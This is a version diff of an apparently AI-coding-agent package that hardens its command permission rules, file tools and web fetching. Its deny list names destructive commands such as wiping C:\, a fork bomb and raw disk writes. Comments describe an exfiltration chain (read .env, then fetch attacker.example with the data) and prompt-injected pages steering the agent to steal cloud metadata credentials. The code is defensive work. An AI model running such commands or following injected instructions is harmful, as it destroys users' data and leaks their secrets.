jaitus 0.3.4 → 0.3.6

package/src/agent/rules.js

@@ -58,22 +58,52 @@ export function parseRule(text) {
  * it, approving `npm test` would not cover `npm test -- --watch`, and people would
  * write `npm*` instead — which also matches `npm publish`.
  */
-export function matches(pattern, subject) {
+export function matches(pattern, subject, { command = false } = {}) {
   if (pattern === null || pattern === '') return true;
-  const value = String(subject ?? '');
+  // Runs of spaces are one space: `git  push` is `git push`.
+  const value = command ? squash(subject) : String(subject ?? '');
 
   if (pattern.endsWith(':*')) {
-    const prefix = pattern.slice(0, -2).trim();
+    const prefix = (command ? squash(pattern.slice(0, -2)) : pattern.slice(0, -2).trim());
     if (!value.startsWith(prefix)) return false;
     // A prefix must end at a word boundary: `git pu:*` must not match `git push`
     // by accident of spelling, but `git push:*` must match `git push --force`.
     const rest = value.slice(prefix.length);
-    return rest === '' || /^[\s\-]/.test(rest);
+    if (!(rest === '' || /^[\s\-]/.test(rest))) return false;
+    // "This command and its arguments" — never "this command, then anything". The rest
+    // of the line may not chain, pipe or redirect: `npm test:*` used to approve
+    // `npm test && del /s /q C:\` because only the first character after the prefix
+    // was looked at.
+    // Checked on the RAW line: squashing whitespace above turns a newline — which runs a
+    // second command — into a harmless-looking space.
+    if (command && SHELL_META.test(String(subject ?? '')) && !SHELL_META.test(prefix)) return false;
+    return true;
   }
 
   return globToRegExp(pattern).test(value);
 }
 
+/**
+ * Characters that make one shell line run more than the command it starts with — in
+ * cmd, PowerShell and POSIX shells: chaining, pipes, redirects, substitution, grouping,
+ * and a line break.
+ */
+export const SHELL_META = /[;&|<>`$(){}\r\n]/;
+
+const squash = (value) => String(value ?? '').replace(/\s+/g, ' ').trim();
+
+/**
+ * The separate commands in one shell line, for DENY checks. A deny rule is anchored to
+ * the start of a command, so `deny git push:*` used to miss `cd . && git push --force` —
+ * the push is simply the second command. Each piece is checked on its own.
+ */
+export function commandsIn(line) {
+  return String(line ?? '')
+    .split(/&&|\|\||[;&|\r\n]/)
+    .map((part) => squash(part).replace(/^[({\s]+|[)}\s]+$/g, ''))
+    .filter(Boolean);
+}
+
 const cache = new Map();
 function globToRegExp(pattern) {
   if (cache.has(pattern)) return cache.get(pattern);
@@ -99,19 +129,43 @@ function globToRegExp(pattern) {
  * Both lists are scanned in full even after a match, because a deny anywhere has to
  * beat an allow everywhere and short-circuiting on the first allow would lose that.
  */
-export function decide({ allow = [], deny = [] }, toolName, input) {
-  const subject = subjectOf(toolName, input);
+export function decide({ allow = [], deny = [] }, toolName, input, { cwd = null } = {}) {
+  const command = COMMAND_TOOLS.has(toolName);
+  let subject = subjectOf(toolName, input);
+  // A path rule is written relative to the project; the model often sends an absolute
+  // path. Compared raw, `deny edit_file(src/**)` did not stop `C:/p/src/a.js`.
+  if (cwd && PATH_TOOLS.has(toolName) && subject) {
+    const rel = normalise(path.relative(cwd, path.resolve(cwd, subject)));
+    if (rel && !rel.startsWith('..') && !path.isAbsolute(rel)) subject = rel;
+  }
+  // Deny: the whole line, and each command inside it.
+  const denySubjects = command ? [subject, ...commandsIn(subject)] : [subject];
   for (const rule of deny) {
     const parsed = typeof rule === 'string' ? parseRule(rule) : rule;
-    if (parsed && parsed.tool === toolName && matches(parsed.pattern, subject)) return 'deny';
+    if (parsed && parsed.tool === toolName && denySubjects.some((s) => matches(parsed.pattern, s, { command }))) return 'deny';
   }
   for (const rule of allow) {
     const parsed = typeof rule === 'string' ? parseRule(rule) : rule;
-    if (parsed && parsed.tool === toolName && matches(parsed.pattern, subject)) return 'allow';
+    if (parsed && parsed.tool === toolName && matches(parsed.pattern, subject, { command })) return 'allow';
   }
   return 'ask';
 }
 
+const COMMAND_TOOLS = new Set(['run_command', 'background_run']);
+const PATH_TOOLS = new Set(['write_file', 'edit_file', 'read_file', 'read_image', 'list_files']);
+
+// Programs whose "first argument" is arbitrary code or another program. Generalised,
+// `node -e x` becomes `node:*` and `cmd /c dir` becomes `cmd /c:*` — every command there
+// is. These are always pinned to the exact line approved.
+const RUNS_ANYTHING = new Set([
+  'cmd', 'cmd.exe', 'powershell', 'powershell.exe', 'pwsh', 'pwsh.exe', 'bash', 'sh', 'zsh', 'fish', 'dash',
+  'node', 'node.exe', 'python', 'python3', 'py', 'ruby', 'perl', 'php', 'deno', 'bun', 'npx', 'bunx', 'pnpx',
+  'sudo', 'doas', 'env', 'xargs', 'eval', 'exec', 'start', 'call', 'wsl', 'wsl.exe', 'ssh', 'nohup', 'time', 'watch',
+]);
+// `npm run <script>` names the script as its third word; `npm run:*` would approve every
+// script in package.json.
+const RUNNER_VERBS = new Set(['run', 'run-script', 'exec', 'x', 'dlx']);
+
 /**
  * The rule "Allow always" should create for this exact call.
  *
@@ -125,12 +179,20 @@ export function ruleForCall(toolName, input, cwd) {
   if (!subject) return `${toolName}`;
 
   if (toolName === 'run_command' || toolName === 'background_run') {
-    const words = subject.trim().split(/\s+/);
-    // A command with a shell operator in it cannot be generalised safely: `npm test &&
-    // rm -rf .` would become a rule that approves the rm. Pin those exactly.
-    if (/[;&|>`$(){}]/.test(subject)) return `${toolName}(${subject})`;
-    const head = words.slice(0, words[1] && !words[1].startsWith('-') ? 2 : 1).join(' ');
-    return `${toolName}(${head}:*)`;
+    const line = squash(subject);
+    const words = line.split(' ');
+    const exe = path.basename(words[0].replace(/^["']|["']$/g, '')).toLowerCase();
+    // Pinned exactly, never generalised:
+    //  - a shell operator: `npm test && rm -rf .` must not become `npm test:*`;
+    //  - an interpreter or launcher: its argument is the whole program;
+    //  - a flag before the subcommand: `git -C sub status` generalised to `git:*`,
+    //    which includes `git push`.
+    if (SHELL_META.test(line) || RUNS_ANYTHING.has(exe) || (words[1] && words[1].startsWith('-'))) {
+      return `${toolName}(${line})`;
+    }
+    let take = words[1] ? 2 : 1;
+    if (RUNNER_VERBS.has(String(words[1]).toLowerCase()) && words[2] && !words[2].startsWith('-')) take = 3;
+    return `${toolName}(${words.slice(0, take).join(' ')}:*)`;
   }
 
   if (toolName === 'web_fetch') {
@@ -175,6 +237,15 @@ export const DEFAULT_DENY = [
   'run_command(**:(){ :|:& };:**)',
   'run_command(**of=/dev/sd**)',
   'run_command(**> /dev/sd**)',
+  // The Windows spellings of the same accidents — the list had none.
+  'run_command(**rd /s /q C:\\)',
+  'run_command(**rd /s /q C:\\ **)',
+  'run_command(**rmdir /s /q C:\\)',
+  'run_command(**del /s /q C:\\)',
+  'run_command(**del /s /q C:\\*)',
+  'run_command(**format C:**)',
+  'run_command(**Remove-Item -Recurse -Force C:\\)',
+  'run_command(**Remove-Item C:\\ -Recurse**)',
 ];
 
 /** Validate a list of rule strings, returning { rules, bad }. */

package/src/agent/tools.js

@@ -17,7 +17,7 @@
 import fs from 'node:fs/promises';
 import fsSync from 'node:fs';
 import path from 'node:path';
-import { spawn } from 'node:child_process';
+import { spawn, spawnSync } from 'node:child_process';
 import { loadIgnore, IGNORE_FILE } from '../project.js';
 import { searchWeb, formatResults } from './websearch.js';
 
@@ -32,6 +32,91 @@ function truncate(text, limit = MAX_OUTPUT) {
   return `${s.slice(0, limit)}\n\n[truncated — ${s.length - limit} more characters]`;
 }
 
+// ── Processes ──
+const CAPTURE_MAX = 2 * 1024 * 1024;
+
+/** Collect a stream's bytes up to CAPTURE_MAX; .text() decodes them once. */
+export function captureStream(stream) {
+  const chunks = [];
+  let size = 0;
+  let dropped = 0;
+  stream?.on('data', (d) => {
+    if (size >= CAPTURE_MAX) { dropped += d.length; return; }
+    const take = d.subarray(0, CAPTURE_MAX - size);
+    chunks.push(take);
+    size += take.length;
+    dropped += d.length - take.length;
+  });
+  return {
+    text() {
+      const s = new TextDecoder('utf-8').decode(Buffer.concat(chunks));
+      return dropped ? `${s}\n[… ${Math.round(dropped / 1024)} KB more output not kept]` : s;
+    },
+  };
+}
+
+/** Kill a child and everything it started. */
+export function killTree(child) {
+  if (!child?.pid) return;
+  try {
+    if (process.platform === 'win32') {
+      spawnSync('taskkill', ['/pid', String(child.pid), '/T', '/F'], { stdio: 'ignore', windowsHide: true });
+    } else {
+      try { process.kill(-child.pid, 'SIGKILL'); } catch { child.kill('SIGKILL'); }
+    }
+  } catch { /* already gone */ }
+}
+
+// ── Text files as they really are on disk ──
+const READ_MAX_BYTES = 16 * 1024 * 1024;
+
+async function readHead(file, bytes) {
+  const handle = await fs.open(file, 'r');
+  try {
+    const buf = Buffer.alloc(bytes);
+    const { bytesRead } = await handle.read(buf, 0, bytes, 0);
+    return buf.subarray(0, bytesRead);
+  } finally { await handle.close(); }
+}
+
+/** A NUL in the first 8 KB means binary — except UTF-16, which is full of them. */
+export function looksBinary(buf) {
+  if (!buf?.length) return false;
+  if ((buf[0] === 0xff && buf[1] === 0xfe) || (buf[0] === 0xfe && buf[1] === 0xff)) return false;
+  return buf.subarray(0, 8192).includes(0);
+}
+
+/**
+ * Bytes → { text, eol, bom, encoding }. UTF-16 (what PowerShell 5.1 `>` writes) is
+ * decoded rather than returned as garbage, and a UTF-8 BOM is remembered so a rewrite
+ * keeps it. `eol` is the file's dominant line ending, so edits can write it back.
+ */
+export function decodeText(buf) {
+  let encoding = 'utf8';
+  let bom = false;
+  let text;
+  if (buf[0] === 0xff && buf[1] === 0xfe) { encoding = 'utf16le'; bom = true; text = buf.subarray(2).toString('utf16le'); }
+  else if (buf[0] === 0xfe && buf[1] === 0xff) {
+    encoding = 'utf16be'; bom = true;
+    const swapped = Buffer.from(buf.subarray(2)); swapped.swap16();
+    text = swapped.toString('utf16le');
+  } else if (buf[0] === 0xef && buf[1] === 0xbb && buf[2] === 0xbf) { bom = true; text = buf.subarray(3).toString('utf8'); }
+  else text = buf.toString('utf8');
+  const crlf = (text.match(/\r\n/g) || []).length;
+  const lf = (text.match(/\n/g) || []).length - crlf;
+  return { text, eol: crlf > lf ? '\r\n' : '\n', bom, encoding };
+}
+
+/** Text (with \n line endings) → bytes in the style decodeText found. */
+export function encodeText(text, { eol = '\n', bom = false, encoding = 'utf8' } = {}) {
+  let body = String(text).replace(/\r\n/g, '\n');
+  if (eol === '\r\n') body = body.replace(/\n/g, '\r\n');
+  if (encoding === 'utf16le') return Buffer.concat([Buffer.from([0xff, 0xfe]), Buffer.from(body, 'utf16le')]);
+  if (encoding === 'utf16be') { const b = Buffer.from(body, 'utf16le'); b.swap16(); return Buffer.concat([Buffer.from([0xfe, 0xff]), b]); }
+  const out = Buffer.from(body, 'utf8');
+  return bom ? Buffer.concat([Buffer.from([0xef, 0xbb, 0xbf]), out]) : out;
+}
+
 /**
  * Resolve a user/model-supplied path inside the working directory.
  * Rejects anything that escapes it, including via a symlink whose real path leads out.
@@ -52,8 +137,18 @@ function safePath(cwd, p) {
     }
   } catch (e) {
     if (e instanceof ToolError) throw e;
-    // Does not exist yet — fine for a write, and the containment check above already
-    // passed on the literal path.
+    // Does not exist yet (a new file): its nearest EXISTING parent must be inside too —
+    // otherwise a write through a symlinked or junctioned directory (src -> C:\Windows)
+    // escaped the project, because only the missing file itself was ever resolved.
+    let parent = path.dirname(resolved);
+    while (parent && !fsSync.existsSync(parent) && path.dirname(parent) !== parent) parent = path.dirname(parent);
+    try {
+      const realParent = fsSync.realpathSync(parent);
+      const parentRel = path.relative(fsSync.realpathSync(cwd), realParent);
+      if (parentRel.startsWith('..') || path.isAbsolute(parentRel)) {
+        throw new ToolError(`Refused: ${p} is inside a folder that links outside the working directory.`);
+      }
+    } catch (inner) { if (inner instanceof ToolError) throw inner; }
   }
   return resolved;
 }
@@ -94,22 +189,29 @@ function refuseIfIgnored(cwd, p) {
   }
 }
 
-async function walk(dir, cwd, out, depth, maxEntries) {
-  if (out.length >= maxEntries || depth < 0) return;
+/**
+ * Every path under `dir`, relative to `cwd`. `out.truncated` is set when the walk
+ * stopped early (entry or depth limit) — callers say so, because "no match" from a walk
+ * that gave up is not "no match". Dot-entries are skipped unless `dot` (a pattern that
+ * asks for `.github/**`); `.git` never.
+ */
+async function walk(dir, cwd, out, depth, maxEntries, { dot = false } = {}) {
+  if (out.length >= maxEntries) { out.truncated = true; return; }
+  if (depth < 0) { out.truncated = true; return; }
   const ignore = ignoreFor(cwd);
   let entries;
   try {
     entries = await fs.readdir(dir, { withFileTypes: true });
   } catch { return; }
   for (const e of entries) {
-    if (out.length >= maxEntries) return;
-    if (e.name.startsWith('.') && e.name !== '.env.example') continue;
+    if (out.length >= maxEntries) { out.truncated = true; return; }
+    if (e.name.startsWith('.') && e.name !== '.env.example' && (!dot || e.name === '.git')) continue;
     const rel = posix(path.relative(cwd, path.join(dir, e.name)));
     if (ignore.matches(rel)) continue;
     if (e.isDirectory()) {
       if (IGNORED_DIRS.has(e.name)) continue;
       out.push(`${rel}/`);
-      await walk(path.join(dir, e.name), cwd, out, depth - 1, maxEntries);
+      await walk(path.join(dir, e.name), cwd, out, depth - 1, maxEntries, { dot });
     } else {
       out.push(rel);
     }
@@ -138,8 +240,14 @@ export const TOOLS = [
       const stat = await fs.stat(file).catch(() => null);
       if (!stat) throw new ToolError(`No such file: ${input.path}`);
       if (stat.isDirectory()) throw new ToolError(`${input.path} is a directory — use list_files.`);
-      const raw = await fs.readFile(file, 'utf8');
+      // A 200 MB log was read whole and split just to return 2000 lines — about a GB of
+      // memory and a frozen interface. Past READ_MAX_BYTES only the head is read.
+      const partial = stat.size > READ_MAX_BYTES;
+      const buf = partial ? await readHead(file, READ_MAX_BYTES) : await fs.readFile(file);
+      if (looksBinary(buf)) throw new ToolError(`${input.path} is a binary file (${Math.round(stat.size / 1024)} KB), not text. Inspect it with a command if you need to.`);
+      const raw = decodeText(buf).text.replace(/\r\n/g, '\n');
       const lines = raw.split('\n');
+      if (partial) lines.push(`[… file is ${Math.round(stat.size / 1048576)} MB; only the first ${Math.round(READ_MAX_BYTES / 1048576)} MB were read. Use search, or a command like findstr / grep, for the rest.]`);
       const start = Math.max(0, (input.offset || 1) - 1);
       const end = Math.min(lines.length, start + (input.limit || MAX_READ_LINES));
       const body = lines.slice(start, end)
@@ -168,9 +276,12 @@ export const TOOLS = [
       const file = safePath(cwd, input.path);
       refuseIfIgnored(cwd, input.path);
       await fs.mkdir(path.dirname(file), { recursive: true });
-      const existed = await fs.stat(file).then(() => true).catch(() => false);
-      await fs.writeFile(file, String(input.content ?? ''), 'utf8');
-      return `${existed ? 'Replaced' : 'Created'} ${input.path}`;
+      const before = await fs.readFile(file).catch(() => null);
+      // A replaced file keeps its line endings and encoding: rewriting a CRLF file as LF
+      // (or a UTF-16 one as UTF-8) changes every line of it in the diff.
+      const style = before ? decodeText(before) : { eol: '\n', bom: false, encoding: 'utf8' };
+      await fs.writeFile(file, encodeText(String(input.content ?? ''), style));
+      return `${before ? 'Replaced' : 'Created'} ${input.path}`;
     },
   },
 
@@ -208,15 +319,26 @@ export const TOOLS = [
     async run(input, { cwd }) {
       const file = safePath(cwd, input.path);
       refuseIfIgnored(cwd, input.path);
-      const raw = await fs.readFile(file, 'utf8').catch(() => null);
-      if (raw === null) throw new ToolError(`No such file: ${input.path}`);
+      const buf = await fs.readFile(file).catch(() => null);
+      if (buf === null) throw new ToolError(`No such file: ${input.path}`);
+      if (looksBinary(buf)) throw new ToolError(`${input.path} is a binary file — it cannot be edited as text.`);
+      // Worked on with plain \n line endings, written back in the file's own. On Windows
+      // most checkouts are CRLF, the model writes \n, and every multi-line `old` failed
+      // to match — "That exact text is not in …" until the stuck detector stopped it.
+      const style = decodeText(buf);
+      const raw = style.text.replace(/\r\n/g, '\n');
+      const lf = (s) => String(s).replace(/\r\n/g, '\n');
 
-      const edits = Array.isArray(input.edits) && input.edits.length
+      const edits = (Array.isArray(input.edits) && input.edits.length
         ? input.edits
-        : [{ old: input.old, new: input.new, replace_all: input.replace_all }];
+        : [{ old: input.old, new: input.new, replace_all: input.replace_all }])
+        .map((e) => (e && typeof e.old === 'string' && typeof e.new === 'string' ? { ...e, old: lf(e.old), new: lf(e.new) } : e));
       if (!edits.length || edits.some((e) => typeof e?.old !== 'string' || typeof e?.new !== 'string')) {
         throw new ToolError('Give old and new, or a list of edits each with old and new.');
       }
+      if (edits.some((e) => e.old === '')) {
+        throw new ToolError('old is empty. To add text, include a line next to where it goes in old; to create or replace a whole file, use write_file. Nothing was changed.');
+      }
 
       // Applied to a working copy and written once. A partial multi-edit — three of five
       // replacements landing before the fourth fails to match — leaves a file in a state
@@ -238,11 +360,18 @@ export const TOOLS = [
             `That text appears ${occurrences} times in ${input.path}${where}. Include more surrounding context, or set replace_all. Nothing was changed.`,
           );
         }
-        next = edit.replace_all ? next.split(edit.old).join(edit.new) : next.replace(edit.old, edit.new);
+        // Spliced, never String.replace with a string: that expands `$$`, `$&` and `$'`
+        // in the NEW text, so `echo "pid $$"` was written as `echo "pid $"` — reported
+        // as a successful edit.
+        if (edit.replace_all) next = next.split(edit.old).join(edit.new);
+        else {
+          const at = next.indexOf(edit.old);
+          next = next.slice(0, at) + edit.new + next.slice(at + edit.old.length);
+        }
         changed += occurrences;
       }
 
-      await fs.writeFile(file, next, 'utf8');
+      await fs.writeFile(file, encodeText(next, style));
       const before = raw.split('\n').length;
       const after = next.split('\n').length;
       const delta = after - before;
@@ -269,13 +398,20 @@ export const TOOLS = [
     summarise: (i) => `glob ${i.pattern}`,
     async run(input, { cwd }) {
       const root = safePath(cwd, input.path || '.');
-      const re = globToRegExp(String(input.pattern || ''));
+      // `src\**\*.ts` is how a Windows path is written; the pattern language is `/`.
+      const pattern = String(input.pattern || '').replace(/\\/g, '/').replace(/^\.\//, '');
+      const re = globToRegExp(pattern);
       const limit = Math.min(Math.max(Number(input.limit) || 200, 1), 2000);
       const found = [];
-      await walk(root, cwd, found, 12, 20_000);
-      const matched = found.filter((rel) => !rel.endsWith('/') && re.test(rel));
+      await walk(root, cwd, found, 12, 20_000, { dot: /(^|\/)\./.test(pattern) });
+      // Matched against the path from `path`, returned from the project root: with
+      // path "src", "*.ts" means src/*.ts. It was matched against the root-relative
+      // path, so glob {pattern:"*.ts", path:"src"} never matched anything.
+      const fromRoot = (rel) => posix(path.relative(root, path.resolve(cwd, rel)));
+      const matched = found.filter((rel) => !rel.endsWith('/') && re.test(fromRoot(rel)));
+      const cut = found.truncated ? ' The search stopped early (a very large tree) — give a narrower path.' : '';
       if (!matched.length) {
-        return `No file matches ${input.pattern}. Note that * does not cross a / — use ** for that, as in **/*.ts.`;
+        return `No file matches ${input.pattern}.${cut} Note that * does not cross a / — use ** for that, as in **/*.ts.`;
       }
       // Newest first: when a pattern matches many files, the ones touched most recently
       // are almost always the ones the question is about.
@@ -305,9 +441,11 @@ export const TOOLS = [
     async run(input, { cwd }) {
       const dir = safePath(cwd, input.path || '.');
       const found = [];
-      await walk(dir, cwd, found, input.depth ?? 2, 600);
+      // depth N means N levels (the walk counts from 0, so it went one deeper than asked).
+      await walk(dir, cwd, found, Math.max(0, (input.depth ?? 2) - 1), 600);
       if (!found.length) return 'No files found.';
-      return truncate(found.sort().join('\n'));
+      const cut = found.truncated ? '\n\n[stopped at 600 entries or the depth limit — list a subdirectory, or use glob]' : '';
+      return truncate(found.sort().join('\n') + cut);
     },
   },
 
@@ -335,12 +473,18 @@ export const TOOLS = [
       }
       const dir = safePath(cwd, input.path || '.');
       const files = [];
-      await walk(dir, cwd, files, 8, 4000);
+      await walk(dir, cwd, files, 12, 20_000);
+      // `glob` may be an ending (".ts") or a real pattern ("*.ts", "**/*.ts"). Only the
+      // ending worked, so a model passing a glob always got "No matches".
+      const g = String(input.glob || '').replace(/\\/g, '/');
+      const fileRe = g && /[*?]/.test(g) ? globToRegExp(g.includes('/') ? g : `**/${g}`) : null;
+      const wanted = (rel) => !g || (fileRe ? fileRe.test(rel) : rel.endsWith(g));
       const hits = [];
+      let capped = false;
       for (const rel of files) {
         if (rel.endsWith('/')) continue;
-        if (input.glob && !rel.endsWith(input.glob)) continue;
-        if (hits.length >= 200) break;
+        if (!wanted(rel)) continue;
+        if (hits.length >= 200) { capped = true; break; }
         let text;
         try {
           const stat = await fs.stat(path.join(cwd, rel));
@@ -352,7 +496,10 @@ export const TOOLS = [
           if (re.test(line)) hits.push(`${rel}:${i + 1}: ${line.trim().slice(0, 240)}`);
         });
       }
-      return hits.length ? truncate(hits.join('\n')) : 'No matches.';
+      const note = capped || hits.length >= 200 ? '\n\n[first 200 matches — narrow the pattern or the path for the rest]'
+        : files.truncated ? '\n\n[the search stopped early (a very large tree) — some files were not searched; give a narrower path]' : '';
+      if (!hits.length) return files.truncated ? 'No matches in the files searched — but the search stopped early (a very large tree). Give a narrower path.' : 'No matches.';
+      return truncate(hits.join('\n') + note);
     },
   },
 
@@ -370,10 +517,11 @@ export const TOOLS = [
       required: ['command'],
     },
     summarise: (i) => i.command,
-    run(input, { cwd }) {
+    run(input, { cwd, signal = null }) {
       const command = String(input.command || '').trim();
       if (!command) throw new ToolError('No command given.');
       const timeout = Math.min(Math.max(Number(input.timeout_ms) || 120_000, 1000), 600_000);
+      if (signal?.aborted) return Promise.resolve('Not run: stopped by the user.');
 
       return new Promise((resolve) => {
         // `shell: true` rather than spawning cmd.exe with an argument array.
@@ -390,30 +538,56 @@ export const TOOLS = [
           // No TTY: anything that would prompt gets EOF and exits instead of hanging
           // forever with nobody able to type into it.
           stdio: ['ignore', 'pipe', 'pipe'],
+          windowsHide: true,
+          // Its own process group on POSIX, so the whole tree can be killed at once.
+          detached: process.platform !== 'win32',
         });
 
-        let stdout = '';
-        let stderr = '';
-        child.stdout.on('data', (d) => { stdout += d; });
-        child.stderr.on('data', (d) => { stderr += d; });
+        // Bytes, decoded once at the end: decoding chunk by chunk split multi-byte
+        // characters across chunks into garbage. Capped: `type huge.log` grew memory
+        // until a RangeError crashed the process.
+        const out = captureStream(child.stdout);
+        const err = captureStream(child.stderr);
+        let note = '';
+        let settled = false;
+
+        const finish = (code) => {
+          if (settled) return;
+          settled = true;
+          clearTimeout(timer);
+          signal?.removeEventListener?.('abort', onAbort);
+          // Each stream is cut on its own and the exit code always survives: truncating
+          // the joined text cut the exit code off the end of any long output, so the
+          // model could not tell whether the command had worked.
+          const parts = [];
+          const stdout = truncate(out.text().trim(), 40_000);
+          const stderr = truncate(err.text().trim(), 16_000);
+          if (stdout) parts.push(stdout);
+          if (stderr) parts.push(`stderr:\n${stderr}`);
+          if (note) parts.push(note);
+          parts.push(`exit code: ${code ?? 'none (killed)'}`);
+          resolve(parts.join('\n\n'));
+        };
 
-        const timer = setTimeout(() => {
-          child.kill('SIGKILL');
-          stderr += `\n[killed after ${timeout}ms]`;
-        }, timeout);
+        // Killing the shell alone left what it started running — on Windows the node or
+        // npm grandchild kept the pipes open, `close` never came, and the tool never
+        // returned: timeouts did nothing and Esc could not stop a command.
+        const stop = (why) => { note = why; killTree(child); setTimeout(() => finish(null), 1500).unref?.(); };
+        const timer = setTimeout(() => stop(`[stopped after ${Math.round(timeout / 1000)}s — the time limit for this command]`), timeout);
+        const onAbort = () => stop('[stopped by the user]');
+        signal?.addEventListener?.('abort', onAbort, { once: true });
 
         child.on('error', (e) => {
+          if (settled) return;
+          settled = true;
           clearTimeout(timer);
           resolve(`Could not run the command: ${e.message}`);
         });
-        child.on('close', (code) => {
-          clearTimeout(timer);
-          const parts = [];
-          if (stdout.trim()) parts.push(stdout.trim());
-          if (stderr.trim()) parts.push(`stderr:\n${stderr.trim()}`);
-          parts.push(`exit code: ${code}`);
-          resolve(truncate(parts.join('\n\n')));
-        });
+        // `exit` is the command finishing; `close` also waits for every process holding
+        // its output. A background child can hold that forever — give it a moment, then
+        // report what the command itself did.
+        child.on('exit', (code) => { setTimeout(() => finish(code), 400).unref?.(); });
+        child.on('close', (code) => finish(code));
       });
     },
   },
@@ -451,7 +625,10 @@ export const TOOLS = [
     name: 'web_fetch',
     description:
       'Fetch a web page and return its readable text with scripts, styles and navigation stripped. For documentation, GitHub files (use raw.githubusercontent.com), API references, and any URL that came from web_search. Prefer this over run_command + curl — it is faster and returns clean text.',
-    needsPermission: false,
+    // Asks, per site ("always" covers that host). Reading never asks and fetching did
+    // not either: read .env, then fetch attacker.example/?d=... went through silently.
+    needsPermission: true,
+    network: true,
     input_schema: {
       type: 'object',
       properties: {
@@ -461,9 +638,10 @@ export const TOOLS = [
       required: ['url'],
     },
     summarise: (i) => `fetch ${String(i.url).slice(0, 80)}`,
-    async run(input) {
+    async run(input, { signal = null } = {}) {
       const raw = String(input.url || '').trim();
       if (!/^https?:\/\//i.test(raw)) throw new ToolError('Give a full http(s) URL.');
+      await refusePrivateTarget(raw);
       const limit = Math.min(Math.max(Number(input.max_chars) || 20_000, 1000), 50_000);
 
       const cached = fetchCache.get(raw);
@@ -480,7 +658,7 @@ export const TOOLS = [
             'accept-language': 'en-US,en;q=0.9',
           },
           redirect: 'follow',
-          signal: AbortSignal.timeout(20_000),
+          signal: signal ? AbortSignal.any([signal, AbortSignal.timeout(20_000)]) : AbortSignal.timeout(20_000),
         });
       } catch (e) {
         throw new ToolError(explainFetchFailure(e, raw));
@@ -502,11 +680,14 @@ export const TOOLS = [
         throw new ToolError(`That URL is ${ctype.split(';')[0]}, not a document. Use read_image for a local image file.`);
       }
 
+      // Read up to FETCH_MAX_BYTES: res.text() had no limit, so a 20-second download could
+      // be hundreds of MB in memory.
+      const body = await readCapped(res, FETCH_MAX_BYTES);
       let text;
       if (/json|xml|csv|javascript|text\/plain|markdown/i.test(ctype)) {
-        text = await res.text();
+        text = body;
       } else {
-        text = readableText(await res.text());
+        text = readableText(body);
         if (!text.trim()) {
           throw new ToolError(
             'The page returned no readable text — it is almost certainly rendered by JavaScript. '
@@ -691,6 +872,41 @@ export async function readImageForModel(cwd, p) {
   return block;
 }
 
+const FETCH_MAX_BYTES = 5 * 1024 * 1024;
+
+async function readCapped(res, max) {
+  if (!res.body?.getReader) return (await res.text()).slice(0, max);
+  const reader = res.body.getReader();
+  const chunks = [];
+  let size = 0;
+  for (;;) {
+    const { done, value } = await reader.read();
+    if (done) break;
+    chunks.push(Buffer.from(value));
+    size += value.length;
+    if (size >= max) { try { await reader.cancel(); } catch { /* closed */ } break; }
+  }
+  return new TextDecoder('utf-8').decode(Buffer.concat(chunks).subarray(0, max));
+}
+
+/**
+ * The cloud metadata endpoint and the link-local range: never. A fetched page or file
+ * with injected instructions could otherwise have the agent read an instance's
+ * credentials (169.254.169.254) and send them on. Localhost and the LAN stay reachable —
+ * a dev server is a normal thing to check — and every fetch asks first.
+ */
+async function refusePrivateTarget(raw) {
+  let host = '';
+  try { host = new URL(raw).hostname.replace(/^\[|\]$/g, ''); } catch { throw new ToolError('That is not a valid URL.'); }
+  const bad = (ip) => /^169\.254\./.test(ip) || /^fe80:/i.test(ip) || ip === '100.100.100.200' || /^fd00:ec2::254$/i.test(ip);
+  if (bad(host) || /^metadata(\.google\.internal)?$/i.test(host)) throw new ToolError('Cloud metadata and link-local addresses are blocked for web_fetch.');
+  try {
+    const { lookup } = await import('node:dns/promises');
+    const addrs = await lookup(host, { all: true });
+    if (addrs.some((a) => bad(a.address))) throw new ToolError('That host resolves to a link-local / metadata address, which is blocked for web_fetch.');
+  } catch (e) { if (e instanceof ToolError) throw e; /* a resolution error is reported by fetch itself */ }
+}
+
 const BROWSER_HEADERS = {
   'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36',
   'accept': 'text/html',